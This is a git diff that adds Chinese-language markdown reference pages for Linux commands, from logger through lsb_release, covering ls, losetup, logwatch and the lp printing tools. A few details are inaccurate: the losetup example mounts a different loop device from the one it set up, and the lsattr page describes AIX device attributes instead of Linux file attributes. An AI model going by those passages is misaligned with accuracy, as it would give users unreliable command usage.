" facility.level" 的格式。 + 比如:" -p local3.info " local3 这个设备的消息级别为 info。 + 默认级别是 "user.notice" + -s, --stderr 输出标准错误到系统日志。 + -t, --tag 指定标记记录 + -u, --socket 写入指定的socket,而不是到内置系统日志例程。 + -V, --version 输出版本信息并退出 +``` + +### 例子 + +``` +logger -p syslog.info "backup.sh is starting" +``` + + + diff --git a/LearnShell/LinuxCommands/login.md b/LearnShell/LinuxCommands/login.md new file mode 100644 index 0000000..810be16 --- /dev/null +++ b/LearnShell/LinuxCommands/login.md @@ -0,0 +1,28 @@ +login +=== + +登录系统或切换用户身份 + +## 补充说明 + +**login命令** 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当`/etc/nologin`文件存在时,系统只root帐号登入系统,其他用户一律不准登入。 + +### 语法 + +``` +login(选项)(参数) +``` + +### 选项 + +``` +-p:告诉login指令不销毁环境变量; +-h:指定远程服务器的主机名。 +``` + +### 参数 + +用户名:指定登录使用的用户名。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/logname.md b/LearnShell/LinuxCommands/logname.md new file mode 100644 index 0000000..f4fc8e9 --- /dev/null +++ b/LearnShell/LinuxCommands/logname.md @@ -0,0 +1,24 @@ +logname +=== + +用来显示用户名称 + +## 补充说明 + +**logname命令** 用来显示用户名称。 + +### 语法 + +``` +logname(选项) +``` + +### 选项 + +``` +--help:在线帮助; +--vesion:显示版本信息。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/logout.md b/LearnShell/LinuxCommands/logout.md new file mode 100644 index 0000000..cda1c01 --- /dev/null +++ b/LearnShell/LinuxCommands/logout.md @@ -0,0 +1,17 @@ +logout +=== + +退出当前登录的Shell + +## 补充说明 + +**logout命令** 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应。 + +### 语法 + +``` +logout +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/logrotate.md b/LearnShell/LinuxCommands/logrotate.md new file mode 100644 index 0000000..3fc6563 --- /dev/null +++ b/LearnShell/LinuxCommands/logrotate.md @@ -0,0 +1,32 @@ +logrotate +=== + +统日志进行轮转、压缩和删除 + +## 补充说明 + +**logrotate命令** 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在`/etc/logrotate.conf`文件中。 + +### 语法 + +``` +logrotate(选项)(参数) +``` + +### 选项 + +``` +-?或--help:在线帮助; +-d或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况; +-f或--force :强行启动记录文件维护操作,纵使logrotate指令认为没有需要亦然; +-s<状态文件>或--state=<状态文件>:使用指定的状态文件; +-v或--version:显示指令执行过程; +-usage:显示指令基本用法。 +``` + +### 参数 + +配置文件:指定lograote指令的配置文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/logsave.md b/LearnShell/LinuxCommands/logsave.md new file mode 100644 index 0000000..9214e97 --- /dev/null +++ b/LearnShell/LinuxCommands/logsave.md @@ -0,0 +1,28 @@ +logsave +=== + +将命令的输出信息保存到指定的日志文件 + +## 补充说明 + +**logsave命令** 运行给定的命令,并将命令的输出信息保存到指定的日志文件中。 + +### 语法 + +``` +logsave(选项)(参数) +``` + +### 选项 + +``` +-a:追加信息到指定的日志文件中。 +``` + +### 参数 + +* 日志文件:指定记录运行信息的日志文件; +* 指令:需要执行的指令。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/logwatch.md b/LearnShell/LinuxCommands/logwatch.md new file mode 100644 index 0000000..3d19750 --- /dev/null +++ b/LearnShell/LinuxCommands/logwatch.md @@ -0,0 +1,71 @@ +logwatch +=== + +可定制和可插入式的日志监视系统 + +## 补充说明 + +**logwatch命令** 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从`/etc/cron.daily`里看到。 + +### 语法 + +``` +logwatch(选项) +``` + +### 选项 + +``` +--detail<报告详细程度>:指定日志报告的详细程度; +--logfile<日志文件>:仅处理指定的日志文件; +--service<服务名>:仅处理指定服务的日志文件; +--print:打印结果到标准输出; +--mailto<邮件地址>:将结果发送到指定邮箱; +--range<日期范围>:指定处理日志的日期范围; +--archives:处理归档日志文件; +--debug<调试等级>:调试模式; +--save<文件名>:将结果保存到指定文件中,而不显示或者发送到指定邮箱; +--logdir<目录>:指定查找日志文件的目录,而不使用默认的日志目录; +--hostname<主机名>:指定在日志报告中使用的主机名,不使用系统默认的主机名; +--numeric:在报告中显示ip地址而不是主机名; +--help:显示指令的帮助信息。 +``` + +### 实例 + +检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧): + +``` +rpm -qa logwatch +``` + +如果主机上没有logwatch,则执行: + +``` +rpm -Ivh logwatch***.rpm +``` + +如果有老版本的logwatch,则执行: + +``` +rpm -Uvh logwatch***.rpm +``` + +安装完毕后,开始配置: + +可以修改和添加它的logfiles、services和其他配置,但默认已经有很多脚本了,只要在1)里设置`Detail = High`就可以了。 + +* 可以添加新的配置到`/etc/logwatch/conf/logwatch.conf` +* 也可以修改`/usr/share/logwatch/default.conf/logwatch.conf` + +`/etc/logwatch/conf/`会自动覆盖`/usr/share/logwatch/default.conf/`下的同名文件。 + +如果没有设置logwatch.conf也没关系,可以直接在命令行下设置。 + +``` +logwatch --detail High --Service All --range All --print 基本就可以显示出所有日志的情况了 +logwatch --service sshd --detail High 只看sshd的日志情况 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/look.md b/LearnShell/LinuxCommands/look.md new file mode 100644 index 0000000..0be6063 --- /dev/null +++ b/LearnShell/LinuxCommands/look.md @@ -0,0 +1,31 @@ +look +=== + +显示文件中以指定字符串开头的任意行 + +## 补充说明 + +**look命令** 用于显示文件中以指定字符串开头的任意行。 + +### 语法 + +``` +look(选项)(参数) +``` + +### 选项 + +``` +-a:使用另一个字典文件web2,该文件也位于/usr/dict目录下; +-d:只对比英文字母和数字,其余一概忽略不予比对; +-f:忽略字符大小写差别; +-t<字尾字符串>:设置字尾字符串。 +``` + +### 参数 + +* 字符串:指定要查找的字符串; +* 文件:指定要查找的目标文件。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/losetup.md b/LearnShell/LinuxCommands/losetup.md new file mode 100644 index 0000000..7e4d91d --- /dev/null +++ b/LearnShell/LinuxCommands/losetup.md @@ -0,0 +1,70 @@ +losetup +=== + +设定与控制循环(loop)设备 + +## 补充说明 + +**losetup命令** 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。 + +### 语法 + +``` +losetup [ -e encryption ] [ -o offset ] loop_device file +losetup [ -d ] loop_device +``` + +### 选项 + +``` +-a 显示所有循环设备的状态。 +-d 卸除设备。 +-e <加密选项> 启动加密编码 。 +-f 寻找第一个未使用的循环设备。 +-o <偏移量>设置数据偏移量,单位是字节。 +``` + +### 参数 + +* loop_device:循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7。 +* file:要与循环设备相关联的文件名,这个往往是一个磁盘镜象文件,如 *.img + +### loop设备介绍 + +在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。 + +上面说的文件格式,我们经常见到的是 cd 或 DVD 的 ISO 光盘镜像文件或者是软盘(硬盘)的 *.img 镜像文件。通过这种 loop mount (回环mount)的方式,这些镜像文件就可以被 mount 到当前文件系统的一个目录下。 + +至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop。 + +### 实例 + +创建空的磁盘镜像文件,这里创建一个1.44M的软盘: + +``` +dd if=/dev/zero of=floppy.img bs=512 count=2880 +``` + +使用 losetup将磁盘镜像文件虚拟成快设备: + +``` +losetup /dev/loop1 floppy.img +``` + +挂载块设备: + +``` +mount /dev/loop0 /tmp +``` + +经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。 + +卸载loop设备: + +``` +umount /tmp +losetup -d /dev/loop1 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lp.md b/LearnShell/LinuxCommands/lp.md new file mode 100644 index 0000000..0c89b48 --- /dev/null +++ b/LearnShell/LinuxCommands/lp.md @@ -0,0 +1,74 @@ +lp +=== + +打印文件或修改排队的打印任务 + +## 补充说明 + +**lp命令** 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置。 + +### 语法 + +``` +lp(选项)(参数) +``` + +### 选项 + +``` +-E:与打印服务器连接时强制使用加密; +-U:指定连接打印服务器时使用的用户名; +-d:指定接收打印任务的目标打印机; +-i:指定一个存在的打印任务号; +-m:打印完成时发送E-mail; +-n:指定打印的份数; +-t:指定打印任务的名称; +-H:指定打印任务开始的时间; +-P:指定需要打印的页码。 +``` + +### 参数 + +文件:需打印的文件。 + +### 实例 + +要在连接在设备dlp0上的打印机lp0上打印文件`/etc/motd`,请输入: + +``` +lp /etc/motd +``` + +要使用文件的一个副本打印`/etc/motd`文件的30个副本,并且要用邮件通知用户作业完成,请输入: + +``` +lp -c -m -n30 -dlp0:lpd0 /etc/motd +``` + +要使用后端标志-f和-a并带上作业标题blah打印`/etc/motd`文件,请输入: + +``` +lp -t "blah" -o -f -o -a /etc/motd +``` + +要排队MyFile文件并返回作业编号,请输入: + +``` +lp myfile +``` + +要排队MyFile文件并禁止作业编号,请输入: + +``` +lp -s myfile +``` + + **退出状态** + +该命令返回以下退出值: + +* 0:所有输入文件成功处理。 +* >0:没有输出设备可用,或者出现一个错误。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lpadmin.md b/LearnShell/LinuxCommands/lpadmin.md new file mode 100644 index 0000000..0977797 --- /dev/null +++ b/LearnShell/LinuxCommands/lpadmin.md @@ -0,0 +1,38 @@ +lpadmin +=== + +配置CUPS套件中的打印机和类 + +## 补充说明 + +**lpadmin命令** 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。 + +### 语法 + +``` +lpadmin(选项)(参数) +``` + +### 选项 + +``` +-c:将打印机加入类; +-i:为打印机设置“system V”风格的接口脚本; +-m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件; +-o:为“PPD”或服务器设置选项; +-r:从类中删除打印机; +-u:设置打印机用户级的访问控制; +-D:为打印机提供一个文字描述; +-E:允许打印机接受打印任务; +-L:为打印机位置提供一个文字描述; +-P:为打印机指定一个ppd描述文件; +-p:指定要配置的打印机名称; +-d:设置默认打印机。 +``` + +### 参数 + +打印机:指定要配置的打印机的名称。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lpc.md b/LearnShell/LinuxCommands/lpc.md new file mode 100644 index 0000000..bba2e03 --- /dev/null +++ b/LearnShell/LinuxCommands/lpc.md @@ -0,0 +1,28 @@ +lpc +=== + +命令行方式打印机控制程序 + +## 补充说明 + +**lpc命令** 式命令行方式打印机控制程序,有5个内置命令。 + +### 语法 + +``` +lpc +``` + +### 实例 + +``` +[root@localhost ~]# lpc +lpc> ? +命令可能是缩写。命令是: + +exit help quit status ? +lpc> exit +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lpq.md b/LearnShell/LinuxCommands/lpq.md new file mode 100644 index 0000000..d003d55 --- /dev/null +++ b/LearnShell/LinuxCommands/lpq.md @@ -0,0 +1,29 @@ +lpq +=== + +显示打印队列中的打印任务的状态信息 + +## 补充说明 + +**lpq命令** 用于显示打印队列中的打印任务的状态信息。 + +### 语法 + +``` +lpq(选项) +``` + +### 选项 + +``` +-E:强制使用加密方式与服务器连接; +-P:显示中的打印机上的打印队列状态;; +-U:自动可选的用户名; +-a:报告所有打印机的定义任务; +-h:指定打印服务器信息; +-l:使用长格式输出; ++:指定显示状态的间隔时间。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lpr.md b/LearnShell/LinuxCommands/lpr.md new file mode 100644 index 0000000..970afbe --- /dev/null +++ b/LearnShell/LinuxCommands/lpr.md @@ -0,0 +1,43 @@ +lpr +=== + +将文件发送给指定打印机进行打印 + +## 补充说明 + +**lpr命令** 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机。 + +### 语法 + +``` +lpr(选项)(参数) +``` + +### 选项 + +``` +-E:与打印服务器连接时强制使用加密; +-H:指定可选的打印服务器; +-C:指定打印任务的名称; +-P:指定接受打印任务的目标打印机; +-U:指定可选的用户名; +-#:指定打印的份数; +-h:关闭banner打印; +-m:打印完成后发送E-mail; +-r:打印完成后删除文件。 +``` + +### 参数 + +文件:需打印的文件。 + +### 实例 + +将man1和man2送到打印机lp进行打印: + +``` +lpr -P lp man1 man2 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lprm.md b/LearnShell/LinuxCommands/lprm.md new file mode 100644 index 0000000..ff80474 --- /dev/null +++ b/LearnShell/LinuxCommands/lprm.md @@ -0,0 +1,43 @@ +lprm +=== + +删除打印队列中的打印任务 + +## 补充说明 + +**lprm命令** 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消。 + +### 语法 + +``` +lprm(选项)(参数) +``` + +### 选项 + +``` +-E:与打印服务器连接时强制使用加密; +-P:指定接受打印任务的目标打印机; +-U:指定可选的用户名。 +``` + +### 参数 + +打印任务:指定需删除的打印任务号。 + +### 实例 + +将打印机hpprint中的第102号任务移除: + +``` +lprm -Phpprint 102 +``` + +将第101号任务由预设打印机中移除: + +``` +lprm 101 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lpstat.md b/LearnShell/LinuxCommands/lpstat.md new file mode 100644 index 0000000..816508f --- /dev/null +++ b/LearnShell/LinuxCommands/lpstat.md @@ -0,0 +1,33 @@ +lpstat +=== + +显示CUPS中打印机的状态信息 + +## 补充说明 + +**lpstat命令** 用于显示CUPS中打印机的状态信息。 + +### 语法 + +``` +lpstat(选项) +``` + +### 选项 + +``` +-E:与打印机连接时加密; +-R:显示打印任务的等级; +-U:指定可选用户名; +-a:显示接受打印任务的打印机; +-c:显示打印机类; +-d:显示默认打印机; +-h:指定可选的服务器信息; +-l:显示长格式; +-p:显示指定打印机,以及打印机是否接受打印任务; +-s:显示汇总信息; +-t:显示所有的状态信息。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ls.md b/LearnShell/LinuxCommands/ls.md new file mode 100644 index 0000000..7061100 --- /dev/null +++ b/LearnShell/LinuxCommands/ls.md @@ -0,0 +1,369 @@ +ls +=== + +显示目录内容列表 + +## 补充说明 + +**ls命令** 用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。 + +### 语法 + +``` +ls(选项)(参数) +``` + +### 选项 + +``` + +-a, --all 不隐藏任何以. 开始的项目 +-A, --almost-all 列出除. 及.. 以外的任何项目 + --author 与-l 同时使用时列出每个文件的作者 +-b, --escape 以八进制溢出序列表示不可打印的字符 + --block-size=SIZE scale sizes by SIZE before printing them; e.g., + '--block-size=M' prints sizes in units of + 1,048,576 bytes; see SIZE format below +-B, --ignore-backups do not list implied entries ending with ~ +-c with -lt: sort by, and show, ctime (time of last + modification of file status information); + with -l: show ctime and sort by name; + otherwise: sort by ctime, newest first +-C list entries by columns + --color[=WHEN] colorize the output; WHEN can be 'never', 'auto', + or 'always' (the default); more info below +-d, --directory list directories themselves, not their contents +-D, --dired generate output designed for Emacs' dired mode +-f do not sort, enable -aU, disable -ls --color +-F, --classify append indicator (one of */=>@|) to entries + --file-type likewise, except do not append '*' + --format=WORD across -x, commas -m, horizontal -x, long -l, + single-column -1, verbose -l, vertical -C + --full-time like -l --time-style=full-iso +-g 类似-l,但不列出所有者 + --group-directories-first + group directories before files; + can be augmented with a --sort option, but any + use of --sort=none (-U) disables grouping +-G, --no-group 以一个长列表的形式,不输出组名 +-h, --human-readable 与-l 一起,以易于阅读的格式输出文件大小 + (例如 1K 234M 2G) + --si 同上面类似,但是使用1000 为基底而非1024 +-H, --dereference-command-line + follow symbolic links listed on the command line + --dereference-command-line-symlink-to-dir + follow each command line symbolic link + that points to a directory + --hide=PATTERN do not list implied entries matching shell PATTERN + (overridden by -a or -A) + --indicator-style=WORD append indicator with style WORD to entry names: + none (default), slash (-p), + file-type (--file-type), classify (-F) +-i, --inode print the index number of each file +-I, --ignore=PATTERN do not list implied entries matching shell PATTERN +-k, --kibibytes default to 1024-byte blocks for disk usage +-l 使用较长格式列出信息 +-L, --dereference 当显示符号链接的文件信息时,显示符号链接所指示 + 的对象而并非符号链接本身的信息 +-m 所有项目以逗号分隔,并填满整行行宽 +-n, --numeric-uid-gid 类似 -l,但列出UID 及GID 号 +-N, --literal 输出未经处理的项目名称 (如不特别处理控制字符) +-o 类似 -l,但不列出有关组的信息 +-p, --indicator-style=slash 对目录加上表示符号"/" +-q, --hide-control-chars print ? instead of nongraphic characters + --show-control-chars show nongraphic characters as-is (the default, + unless program is 'ls' and output is a terminal) +-Q, --quote-name enclose entry names in double quotes + --quoting-style=WORD use quoting style WORD for entry names: + literal, locale, shell, shell-always, c, escape +-r, --reverse 逆序排列 +-R, --recursive 递归显示子目录 +-s, --size 以块数形式显示每个文件分配的尺寸 +-S sort by file size + --sort=WORD sort by WORD instead of name: none (-U), size (-S), + time (-t), version (-v), extension (-X) + --time=WORD with -l, show time as WORD instead of default + modification time: atime or access or use (-u) + ctime or status (-c); also use specified time + as sort key if --sort=time + --time-style=STYLE with -l, show times using style STYLE: + full-iso, long-iso, iso, locale, or +FORMAT; + FORMAT is interpreted like in 'date'; if FORMAT + is FORMAT1FORMAT2, then FORMAT1 applies + to non-recent files and FORMAT2 to recent files; + if STYLE is prefixed with 'posix-', STYLE + takes effect only outside the POSIX locale +-t sort by modification time, newest first +-T, --tabsize=COLS assume tab stops at each COLS instead of 8 +-u with -lt: sort by, and show, access time; + with -l: show access time and sort by name; + otherwise: sort by access time +-U do not sort; list entries in directory order +-v natural sort of (version) numbers within text +-w, --width=COLS assume screen width instead of current value +-x list entries by lines instead of by columns +-X sort alphabetically by entry extension +-1 list one file per line + +SELinux options: + +--lcontext Display security context. Enable -l. Lines + will probably be too wide for most displays. +-Z, --context Display security context so it fits on most + displays. Displays only mode, user, group, + security context and file name. +--scontext Display only security context and file name. + --help 显示此帮助信息并退出 + --version 显示版本信息并退出 +``` + +### 参数 + +目录:指定要显示列表的目录,也可以是具体的文件。 + +### 实例 + +```bash +$ ls # 仅列出当前目录可见文件 +$ ls -l # 列出当前目录可见文件详细信息 +$ ls -hl # 列出详细信息并以可读大小显示文件大小 +$ ls -al # 列出所有文件(包括隐藏)的详细信息 +``` + +显示当前目录下包括影藏文件在内的所有文件列表 + +``` +[root@localhost ~]# ls -a +. anaconda-ks.cfg .bash_logout .bashrc install.log .mysql_history satools .tcshrc .vimrc +.. .bash_history .bash_profile .cshrc install.log.syslog .rnd .ssh .viminfo +``` + +输出长格式列表 + +``` +[root@localhost ~]# ls -1 + +anaconda-ks.cfg +install.log +install.log.syslog +satools +``` + +显示文件的inode信息 + +索引节点(index inode简称为“inode”)是Linux中一个特殊的概念,具有相同的索引节点号的两个文本本质上是同一个文件(除文件名不同外)。 + +``` +[root@localhost ~]# ls -i -l anaconda-ks.cfg install.log +2345481 -rw------- 1 root root 859 Jun 11 22:49 anaconda-ks.cfg +2345474 -rw-r--r-- 1 root root 13837 Jun 11 22:49 install.log +``` + +水平输出文件列表 + +``` +[root@localhost /]# ls -m + +bin, boot, data, dev, etc, home, lib, lost+found, media, misc, mnt, opt, proc, root, sbin, selinux, srv, sys, tmp, usr, var +``` + +修改最后一次编辑的文件 + +最近修改的文件显示在最上面。 + +``` +[root@localhost /]# ls -t + +tmp root etc dev lib boot sys proc data home bin sbin usr var lost+found media mnt opt selinux srv misc +``` + +显示递归文件 + +``` +[root@localhost ~]# ls -R +.: +anaconda-ks.cfg install.log install.log.syslog satools + +./satools: +black.txt freemem.sh iptables.sh lnmp.sh mysql php502_check.sh ssh_safe.sh + +``` + +打印文件的UID和GID + +``` +[root@localhost /]# ls -n + +total 254 +drwxr-xr-x 2 0 0 4096 Jun 12 04:03 bin +drwxr-xr-x 4 0 0 1024 Jun 15 14:45 boot +drwxr-xr-x 6 0 0 4096 Jun 12 10:26 data +drwxr-xr-x 10 0 0 3520 Sep 26 15:38 dev +drwxr-xr-x 75 0 0 4096 Oct 16 04:02 etc +drwxr-xr-x 4 0 0 4096 Jun 12 10:26 home +drwxr-xr-x 14 0 0 12288 Jun 16 04:02 lib +drwx------ 2 0 0 16384 Jun 11 22:46 lost+found +drwxr-xr-x 2 0 0 4096 May 11 2011 media +drwxr-xr-x 2 0 0 4096 Nov 8 2010 misc +drwxr-xr-x 2 0 0 4096 May 11 2011 mnt +drwxr-xr-x 2 0 0 4096 May 11 2011 opt +dr-xr-xr-x 232 0 0 0 Jun 15 11:04 proc +drwxr-x--- 4 0 0 4096 Oct 15 14:43 root +drwxr-xr-x 2 0 0 12288 Jun 12 04:03 sbin +drwxr-xr-x 2 0 0 4096 May 11 2011 selinux +drwxr-xr-x 2 0 0 4096 May 11 2011 srv +drwxr-xr-x 11 0 0 0 Jun 15 11:04 sys +drwxrwxrwt 3 0 0 98304 Oct 16 08:45 tmp +drwxr-xr-x 13 0 0 4096 Jun 11 23:38 usr +drwxr-xr-x 19 0 0 4096 Jun 11 23:38 var + +``` + +列出文件和文件夹的详细信息 + +``` +[root@localhost /]# ls -l + +total 254 +drwxr-xr-x 2 root root 4096 Jun 12 04:03 bin +drwxr-xr-x 4 root root 1024 Jun 15 14:45 boot +drwxr-xr-x 6 root root 4096 Jun 12 10:26 data +drwxr-xr-x 10 root root 3520 Sep 26 15:38 dev +drwxr-xr-x 75 root root 4096 Oct 16 04:02 etc +drwxr-xr-x 4 root root 4096 Jun 12 10:26 home +drwxr-xr-x 14 root root 12288 Jun 16 04:02 lib +drwx------ 2 root root 16384 Jun 11 22:46 lost+found +drwxr-xr-x 2 root root 4096 May 11 2011 media +drwxr-xr-x 2 root root 4096 Nov 8 2010 misc +drwxr-xr-x 2 root root 4096 May 11 2011 mnt +drwxr-xr-x 2 root root 4096 May 11 2011 opt +dr-xr-xr-x 232 root root 0 Jun 15 11:04 proc +drwxr-x--- 4 root root 4096 Oct 15 14:43 root +drwxr-xr-x 2 root root 12288 Jun 12 04:03 sbin +drwxr-xr-x 2 root root 4096 May 11 2011 selinux +drwxr-xr-x 2 root root 4096 May 11 2011 srv +drwxr-xr-x 11 root root 0 Jun 15 11:04 sys +drwxrwxrwt 3 root root 98304 Oct 16 08:48 tmp +drwxr-xr-x 13 root root 4096 Jun 11 23:38 usr +drwxr-xr-x 19 root root 4096 Jun 11 23:38 var + +``` + +列出可读文件和文件夹详细信息 + +``` +[root@localhost /]# ls -lh + +total 254K +drwxr-xr-x 2 root root 4.0K Jun 12 04:03 bin +drwxr-xr-x 4 root root 1.0K Jun 15 14:45 boot +drwxr-xr-x 6 root root 4.0K Jun 12 10:26 data +drwxr-xr-x 10 root root 3.5K Sep 26 15:38 dev +drwxr-xr-x 75 root root 4.0K Oct 16 04:02 etc +drwxr-xr-x 4 root root 4.0K Jun 12 10:26 home +drwxr-xr-x 14 root root 12K Jun 16 04:02 lib +drwx------ 2 root root 16K Jun 11 22:46 lost+found +drwxr-xr-x 2 root root 4.0K May 11 2011 media +drwxr-xr-x 2 root root 4.0K Nov 8 2010 misc +drwxr-xr-x 2 root root 4.0K May 11 2011 mnt +drwxr-xr-x 2 root root 4.0K May 11 2011 opt +dr-xr-xr-x 235 root root 0 Jun 15 11:04 proc +drwxr-x--- 4 root root 4.0K Oct 15 14:43 root +drwxr-xr-x 2 root root 12K Jun 12 04:03 sbin +drwxr-xr-x 2 root root 4.0K May 11 2011 selinux +drwxr-xr-x 2 root root 4.0K May 11 2011 srv +drwxr-xr-x 11 root root 0 Jun 15 11:04 sys +drwxrwxrwt 3 root root 96K Oct 16 08:49 tmp +drwxr-xr-x 13 root root 4.0K Jun 11 23:38 usr +drwxr-xr-x 19 root root 4.0K Jun 11 23:38 var + +``` + +显示文件夹信息 + +``` +[root@localhost /]# ls -ld /etc/ + +drwxr-xr-x 75 root root 4096 Oct 16 04:02 /etc/ + +``` + +按时间列出文件和文件夹详细信息 + +``` +[root@localhost /]# ls -lt + +total 254 +drwxrwxrwt 3 root root 98304 Oct 16 08:53 tmp +drwxr-xr-x 75 root root 4096 Oct 16 04:02 etc +drwxr-x--- 4 root root 4096 Oct 15 14:43 root +drwxr-xr-x 10 root root 3520 Sep 26 15:38 dev +drwxr-xr-x 14 root root 12288 Jun 16 04:02 lib +drwxr-xr-x 4 root root 1024 Jun 15 14:45 boot +drwxr-xr-x 11 root root 0 Jun 15 11:04 sys +dr-xr-xr-x 232 root root 0 Jun 15 11:04 proc +drwxr-xr-x 6 root root 4096 Jun 12 10:26 data +drwxr-xr-x 4 root root 4096 Jun 12 10:26 home +drwxr-xr-x 2 root root 4096 Jun 12 04:03 bin +drwxr-xr-x 2 root root 12288 Jun 12 04:03 sbin +drwxr-xr-x 13 root root 4096 Jun 11 23:38 usr +drwxr-xr-x 19 root root 4096 Jun 11 23:38 var +drwx------ 2 root root 16384 Jun 11 22:46 lost+found +drwxr-xr-x 2 root root 4096 May 11 2011 media +drwxr-xr-x 2 root root 4096 May 11 2011 mnt +drwxr-xr-x 2 root root 4096 May 11 2011 opt +drwxr-xr-x 2 root root 4096 May 11 2011 selinux +drwxr-xr-x 2 root root 4096 May 11 2011 srv +drwxr-xr-x 2 root root 4096 Nov 8 2010 misc + +``` + +按修改时间列出文件和文件夹详细信息 + +``` +[root@localhost /]# ls -ltr + +total 254 +drwxr-xr-x 2 root root 4096 Nov 8 2010 misc +drwxr-xr-x 2 root root 4096 May 11 2011 srv +drwxr-xr-x 2 root root 4096 May 11 2011 selinux +drwxr-xr-x 2 root root 4096 May 11 2011 opt +drwxr-xr-x 2 root root 4096 May 11 2011 mnt +drwxr-xr-x 2 root root 4096 May 11 2011 media +drwx------ 2 root root 16384 Jun 11 22:46 lost+found +drwxr-xr-x 19 root root 4096 Jun 11 23:38 var +drwxr-xr-x 13 root root 4096 Jun 11 23:38 usr +drwxr-xr-x 2 root root 12288 Jun 12 04:03 sbin +drwxr-xr-x 2 root root 4096 Jun 12 04:03 bin +drwxr-xr-x 4 root root 4096 Jun 12 10:26 home +drwxr-xr-x 6 root root 4096 Jun 12 10:26 data +dr-xr-xr-x 232 root root 0 Jun 15 11:04 proc +drwxr-xr-x 11 root root 0 Jun 15 11:04 sys +drwxr-xr-x 4 root root 1024 Jun 15 14:45 boot +drwxr-xr-x 14 root root 12288 Jun 16 04:02 lib +drwxr-xr-x 10 root root 3520 Sep 26 15:38 dev +drwxr-x--- 4 root root 4096 Oct 15 14:43 root +drwxr-xr-x 75 root root 4096 Oct 16 04:02 etc +drwxrwxrwt 3 root root 98304 Oct 16 08:54 tmp + +``` + +按照特殊字符对文件进行分类 + +``` +[root@localhost nginx-1.2.1]# ls -F + +auto/ CHANGES CHANGES.ru conf/ configure* contrib/ html/ LICENSE Makefile man/ objs/ README src/ + +``` + +列出文件并标记颜色分类 + +``` +[root@localhost nginx-1.2.1]# ls --color=auto + +auto CHANGES CHANGES.ru conf configure contrib html LICENSE Makefile man objs README src +``` + + + diff --git a/LearnShell/LinuxCommands/lsattr.md b/LearnShell/LinuxCommands/lsattr.md new file mode 100644 index 0000000..7df4582 --- /dev/null +++ b/LearnShell/LinuxCommands/lsattr.md @@ -0,0 +1,40 @@ +lsattr +=== + +查看文件的第二扩展文件系统属性 + +## 补充说明 + +**lsattr命令** 用于查看文件的第二扩展文件系统属性。 + +### 语法 + +``` +lsattr(选项)(参数) +``` + +### 选项 + +``` +-E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的。 +-D:显示属性的名称,属性的默认值,描述和用户是否可以修改属性值的标志。 +-R:递归的操作方式; +-V:显示指令的版本信息; +-a:列出目录中的所有文件,包括隐藏文件。 +``` + +lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备。 + +### 参数 + +文件:指定显示文件系统属性的文件名。 + +### 实例 + +``` +lsattr -E -l rmt0 -H +lsattr -EO -l rmt0 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lsb_release.md b/LearnShell/LinuxCommands/lsb_release.md new file mode 100644 index 0000000..ac648b0 --- /dev/null +++ b/LearnShell/LinuxCommands/lsb_release.md @@ -0,0 +1,33 @@ +lsb_release +=== + +显示发行版本信息 + +## 补充说明 + +LSB是Linux Standard Base的缩写, **lsb_release命令** 用来显示LSB和特定版本的相关信息。如果使用该命令时不带参数,则默认加上-v参数。 + +``` +-v 显示版本信息。 +-i 显示发行版的id。 